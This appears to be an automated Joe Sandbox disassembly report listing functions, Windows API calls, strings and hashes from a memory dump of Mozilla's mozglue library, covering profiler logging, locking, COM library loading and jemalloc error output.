
Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b782998eac74517dd470005a455976667558a626fded2c539634aff7bffe8de8
Instruction ID: 02d50fc9c97287c7a7306f3ebc81ff6a9f1dbe8c9babb773eb7efc3e923a42cf
Opcode Fuzzy Hash: b782998eac74517dd470005a455976667558a626fded2c539634aff7bffe8de8
Instruction Fuzzy Hash: 4221A5B0740248ABFB215B689C49FFF73BCDF96704F044528F6499B580D6789D54C7A1

Function 6CB0D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D1F5

Part of subcall function 6CB0AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6CB0AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D211
GetCurrentThreadId.KERNEL32 ref: 6CB0D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D279
free.MOZGLUE(?), ref: 6CB0D2B2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: 4b1ce1d0bd8b034b40870720d60605bd4ec1d90ddde1d7791c7c59fb6df24e14
Instruction ID: a553cb1f28119e352f7713f46f0cf5e9a2e506301135703ce66a01ea4edcbb96
Opcode Fuzzy Hash: 4b1ce1d0bd8b034b40870720d60605bd4ec1d90ddde1d7791c7c59fb6df24e14
Instruction Fuzzy Hash: FB21BF71704745DFCB04DF28D488A9EBBB5FF8A324F10462EE51A87784DB30A809CB96

Function 6CAFF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAFF598), ref: 6CAFF621

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFF637
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF645
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAFF62A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 090a960ba2a7b3c641fa53759b933fbf186d1b20fe0d99bb9de0e9ddf1d30184
Instruction ID: 1ed9e06a32ea6807e17da009c1468d3f58220e1e86f781f30650da5d13b02348
Opcode Fuzzy Hash: 090a960ba2a7b3c641fa53759b933fbf186d1b20fe0d99bb9de0e9ddf1d30184
Instruction Fuzzy Hash: FB11E735201614ABDB14AF28C9449ED77B9FB86369B100459FA1983F41CB71AC1ACBA0

Function 6CAC2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

LoadLibraryW.KERNEL32(combase.dll,6CAC1C5F), ref: 6CAC20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CAC20CD
__Init_thread_footer.LIBCMT ref: 6CAC20E1
FreeLibrary.KERNEL32 ref: 6CAC2124

Strings

combase.dll, xrefs: 6CAC20A9
CoInitializeSecurity, xrefs: 6CAC20C7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 8cbd6c6655a084c76f10b5d351bcfe2008ad023dbf709066259d9183d25cece8
Instruction ID: 7e88bf5fb51331bb04badd47104f5b3ac63812715fc047fbd9f8e4c2830d56db
Opcode Fuzzy Hash: 8cbd6c6655a084c76f10b5d351bcfe2008ad023dbf709066259d9183d25cece8
Instruction Fuzzy Hash: 6D218936200249ABDF21DF58DC48E8E3B76FB4A324F014116FA0893650C3319CA1DFA1

Function 6CAF99A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAF99C1
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAF99CE
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAF99F8
GetCurrentThreadId.KERNEL32 ref: 6CAF9A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF9A0D

Part of subcall function 6CAF9A60: GetCurrentThreadId.KERNEL32 ref: 6CAF9A95
Part of subcall function 6CAF9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF9A9D
Part of subcall function 6CAF9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAF9ACC
Part of subcall function 6CAF9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF9BA7
Part of subcall function 6CAF9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAF9BB8
Part of subcall function 6CAF9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAF9BC9

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6CAF9A15

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 8e1e97c40a210765a32b6ecbfc708b9f28bbc82c78784b5321d9d19ba87bec91
Instruction ID: 870a8f05c2ad7d704d6be85ecbfc1aca6ae639ca0fdfe7ab23c1b6bb91a754c6
Opcode Fuzzy Hash: 8e1e97c40a210765a32b6ecbfc708b9f28bbc82c78784b5321d9d19ba87bec91
Instruction Fuzzy Hash: 8C0126356041789FDB206F799A086BE3B78EB82369F054056FD5D53B41C7340C8BCAB1

Function 6CAC1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAC1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAC1FFD
__Init_thread_footer.LIBCMT ref: 6CAC2011
FreeLibrary.KERNEL32 ref: 6CAC2059

Strings

CoCreateInstance, xrefs: 6CAC1FF7
combase.dll, xrefs: 6CAC1FD9

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9e9723bfaf9e5c6d0405d2721850c2e137cb59ef02b6c41c710f5b1503519ecc
Instruction ID: e73666753a7dc6cc6b0d6526e9ef98e581e45584b8d12ce41423248d0c1c498c
Opcode Fuzzy Hash: 9e9723bfaf9e5c6d0405d2721850c2e137cb59ef02b6c41c710f5b1503519ecc
Instruction Fuzzy Hash: 60113A79B41254AFDF20DF15C94AE9E3B79EB4A369F05416AE90983640C7319C84CFB1

Function 6CAC0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CAED9F0,00000000), ref: 6CAC0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAC0F3C
__Init_thread_footer.LIBCMT ref: 6CAC0F50
FreeLibrary.KERNEL32(?,6CAED9F0,00000000), ref: 6CAC0F86

Strings

combase.dll, xrefs: 6CAC0F18
CoInitializeEx, xrefs: 6CAC0F36

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 6aed25ca7cc9f54743b0986baa7a6815ace67815a7f82770aa2e17dd7eee0d79
Instruction ID: 9c65ffd2f3bc676bcd129602b509f0b013354e837d1ebaa84e569eb4279498a8
Opcode Fuzzy Hash: 6aed25ca7cc9f54743b0986baa7a6815ace67815a7f82770aa2e17dd7eee0d79
Instruction Fuzzy Hash: 331186B5705290ABDF20DF58CA08E4E3BB5F74B326F054659E90D93780D730DC85CAA6

Function 6CAFF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF561

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFF577
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF585
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CAFF499
[I %d/%d] profiler_resume, xrefs: 6CAFF239
[I %d/%d] profiler_pause_sampling, xrefs: 6CAFF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAFF56A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 14b9b45de87e8f5bc6c7fc50f04292da8bed47329b23f1b0aa8ca0bef1725a67
Instruction ID: f20a369f63224af068ce4d4ec462eee652691c270b9c1db4a3b628285dfe5b7e
Opcode Fuzzy Hash: 14b9b45de87e8f5bc6c7fc50f04292da8bed47329b23f1b0aa8ca0bef1725a67
Instruction Fuzzy Hash: A8F0E976200624AFEF106F68DD4896E77BCEB863ADF000455FA0D83746CB314C0ACB60

Function 6CAFF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAFF598), ref: 6CAFF621

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFF637
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF645
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAFF62A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 7843e1838cfe3d3f512077ab7617c5c50eb11f92068d2e5d39f114c507abbe57
Instruction ID: 6fede283a2d6163a508d0e18f03107791145a06e7529330c16b7ed74f3f04ee7
Opcode Fuzzy Hash: 7843e1838cfe3d3f512077ab7617c5c50eb11f92068d2e5d39f114c507abbe57
Instruction Fuzzy Hash: C3F0B475200660ABDF106F688C4899E77BDEB862AEF000455FA4D83746CF354C0ACB60

Function 6CAC0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAC0DF8), ref: 6CAC0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAC0EA1
__Init_thread_footer.LIBCMT ref: 6CAC0EB5
FreeLibrary.KERNEL32 ref: 6CAC0EC5

Strings

kernel32.dll, xrefs: 6CAC0E7D
GetProcessMitigationPolicy, xrefs: 6CAC0E9B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: c80c9b0a24f59aa7233b313ca1b82a22417dfd54c6e0329b3b1899006969661a
Instruction ID: 8c0c7f119da45f9e1c9b0acdbfa8e568520db490f511f0acfe89da51e9349be2
Opcode Fuzzy Hash: c80c9b0a24f59aa7233b313ca1b82a22417dfd54c6e0329b3b1899006969661a
Instruction Fuzzy Hash: 1F0181B87403D5CBDF209FE9CA1CB4A37B6F756314F1405A5D92D83B80D774A888CA46

Function 6CAF05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CAECFAE,?,?,?,6CAB31A7), ref: 6CAF05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CAECFAE,?,?,?,6CAB31A7), ref: 6CAF0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAB31A7), ref: 6CAF061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAB31A7), ref: 6CAF0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAF061B, 6CAF0625
<jemalloc>, xrefs: 6CAF05FA, 6CAF060F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d665b16b5667822019074eefad49a494339e7d0b68461a5d3f4a2454371694c9
Instruction ID: 33a68323d5845126c41a44d1310e22d8b4132cab07a6704e7e4af7c86ef518ec
Opcode Fuzzy Hash: d665b16b5667822019074eefad49a494339e7d0b68461a5d3f4a2454371694c9
Instruction Fuzzy Hash: EBE08CE2A0109037F614225AAC86DBB765CDBC6234F080039FD0D83301E95EED1A51F7

Function 6CAC05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9948b7243e3073cfad7254eb16861d3a69cb4c85f098eb6a700a68b88068d64
Instruction ID: 02be2e096a903b9df9af4da5df0c1ef85774af2f1ac63fab9f0f55c90939879b
Opcode Fuzzy Hash: d9948b7243e3073cfad7254eb16861d3a69cb4c85f098eb6a700a68b88068d64
Instruction Fuzzy Hash: E1A149B4A00645CFDB24CF29C594A9EFBF1BF49304F44866ED84A97B00E770A999CF91

Function 6CAF71A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6CAF6060: moz_xmalloc.MOZGLUE(00000024,11FE77D4,00000000,?,00000000,?,?,6CAF5FCB,6CAF79A3), ref: 6CAF6078

free.MOZGLUE(-00000001), ref: 6CAF72F6
free.MOZGLUE(?), ref: 6CAF7311

Strings

333s, xrefs: 6CAF7226
Spliced unique strings, xrefs: 6CAF7340
333s, xrefs: 6CAF731B
Copied unique strings, xrefs: 6CAF7320

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: d1b07ea1f45317f3c56bd9f389be3f9d6e77cbc77af7cc65a5f0b321f9dad077
Instruction ID: 6da91c524a51ed820485dbf05f8b3d00bc957ea8e4d103ff915b1f44541d1fce
Opcode Fuzzy Hash: d1b07ea1f45317f3c56bd9f389be3f9d6e77cbc77af7cc65a5f0b321f9dad077
Instruction Fuzzy Hash: 5771A571F002198FDB04CF69C8906EDB7F2AF84314F29812DE819E7710DB35A98ACB81

Function 6CB114A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB114C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB114E2
GetCurrentThreadId.KERNEL32 ref: 6CB11546
InitializeConditionVariable.KERNEL32(?), ref: 6CB115BA
free.MOZGLUE(?), ref: 6CB116B4

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
